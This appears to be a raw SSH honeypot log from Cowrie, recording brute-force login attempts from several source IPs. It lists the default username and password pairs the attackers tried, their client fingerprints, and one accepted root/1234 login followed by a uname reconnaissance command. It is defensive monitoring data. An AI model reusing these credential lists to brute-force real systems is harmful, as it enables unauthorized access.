{"eventid":"cowrie.login.failed","username":"siva","password":"sivapass","message":"login attempt [siva/sivapass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:55:07.287254Z","src_ip":"103.234.53.173","session":"a0e31d995ef1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":54218,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdc917030ee7","protocol":"ssh","message":"New connection: 92.118.39.92:54218 (159.203.135.109:22) [session: bdc917030ee7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:55:07.747284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:55:07.751976Z","src_ip":"92.118.39.92","session":"bdc917030ee7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:55:07.948244Z","src_ip":"92.118.39.92","session":"bdc917030ee7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"12345","message":"login attempt [test/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:55:08.262062Z","src_ip":"92.118.39.92","session":"bdc917030ee7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:55:08.500911Z","src_ip":"103.234.53.173","session":"a0e31d995ef1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:55:09.369344Z","src_ip":"92.118.39.92","session":"bdc917030ee7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":47244,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5a16cc77ab2","protocol":"ssh","message":"New connection: 2.57.122.208:47244 (159.203.135.109:22) [session: c5a16cc77ab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:55:21.108757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:55:21.158881Z","src_ip":"2.57.122.208","session":"c5a16cc77ab2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:55:21.307702Z","src_ip":"2.57.122.208","session":"c5a16cc77ab2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:55:22.003008Z","src_ip":"2.57.122.208","session":"c5a16cc77ab2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:55:23.109012Z","src_ip":"2.57.122.208","session":"c5a16cc77ab2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.94.146.61","src_port":27908,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef3cc26793c7","protocol":"ssh","message":"New connection: 167.94.146.61:27908 (159.203.135.109:22) [session: ef3cc26793c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:56:08.736048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:56:08.741112Z","src_ip":"167.94.146.61","session":"ef3cc26793c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"873a5fb5fedc2d4f8638ebde4abc6cfc","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 873a5fb5fedc2d4f8638ebde4abc6cfc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:56:08.871791Z","src_ip":"167.94.146.61","session":"ef3cc26793c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.196.10.227","src_port":50106,"dst_ip":"159.203.135.109","dst_port":22,"session":"f149bac52ccc","protocol":"ssh","message":"New connection: 185.196.10.227:50106 (159.203.135.109:22) [session: f149bac52ccc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:56:18.044394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:56:18.049237Z","src_ip":"185.196.10.227","session":"f149bac52ccc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:56:18.163283Z","src_ip":"185.196.10.227","session":"f149bac52ccc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asterisk","password":"password","message":"login attempt [asterisk/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:56:18.650173Z","src_ip":"185.196.10.227","session":"f149bac52ccc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:56:19.766845Z","src_ip":"185.196.10.227","session":"f149bac52ccc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:56:23.738732Z","src_ip":"167.94.146.61","session":"ef3cc26793c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.10.160.98","src_port":44138,"dst_ip":"159.203.135.109","dst_port":22,"session":"d378a2ee2be3","protocol":"ssh","message":"New connection: 157.10.160.98:44138 (159.203.135.109:22) [session: d378a2ee2be3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:56:30.507420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:56:30.511933Z","src_ip":"157.10.160.98","session":"d378a2ee2be3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:56:30.762651Z","src_ip":"157.10.160.98","session":"d378a2ee2be3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"testpassword","message":"login attempt [test/testpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:56:31.797443Z","src_ip":"157.10.160.98","session":"d378a2ee2be3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:56:33.050793Z","src_ip":"157.10.160.98","session":"d378a2ee2be3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.234.53.173","src_port":41346,"dst_ip":"159.203.135.109","dst_port":22,"session":"d70ca93747cc","protocol":"ssh","message":"New connection: 103.234.53.173:41346 (159.203.135.109:22) [session: d70ca93747cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:19.817442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:19.820915Z","src_ip":"103.234.53.173","session":"d70ca93747cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:20.033858Z","src_ip":"103.234.53.173","session":"d70ca93747cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crafty","password":"123","message":"login attempt [crafty/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:20.915454Z","src_ip":"103.234.53.173","session":"d70ca93747cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:22.131676Z","src_ip":"103.234.53.173","session":"d70ca93747cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":41482,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa90b4193734","protocol":"ssh","message":"New connection: 92.118.39.92:41482 (159.203.135.109:22) [session: fa90b4193734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:23.952661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:24.007242Z","src_ip":"92.118.39.92","session":"fa90b4193734","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:24.067943Z","src_ip":"92.118.39.92","session":"fa90b4193734","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1234","message":"login attempt [root/1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:24.489808Z","src_ip":"92.118.39.92","session":"fa90b4193734","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:24.758978Z","src_ip":"92.118.39.92","session":"fa90b4193734","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:24.761824Z","src_ip":"92.118.39.92","session":"fa90b4193734","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:24.868723Z","src_ip":"92.118.39.92","session":"fa90b4193734","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:24.873953Z","src_ip":"92.118.39.92","session":"fa90b4193734","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":45084,"dst_ip":"159.203.135.109","dst_port":22,"session":"248b013bfec3","protocol":"ssh","message":"New connection: 2.57.122.208:45084 (159.203.135.109:22) [session: 248b013bfec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:26.454124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:26.482576Z","src_ip":"2.57.122.208","session":"248b013bfec3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:26.563418Z","src_ip":"2.57.122.208","session":"248b013bfec3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sniper","password":"sniper","message":"login attempt [sniper/sniper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:27.024364Z","src_ip":"2.57.122.208","session":"248b013bfec3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:28.152797Z","src_ip":"2.57.122.208","session":"248b013bfec3","protocol":"ssh"}
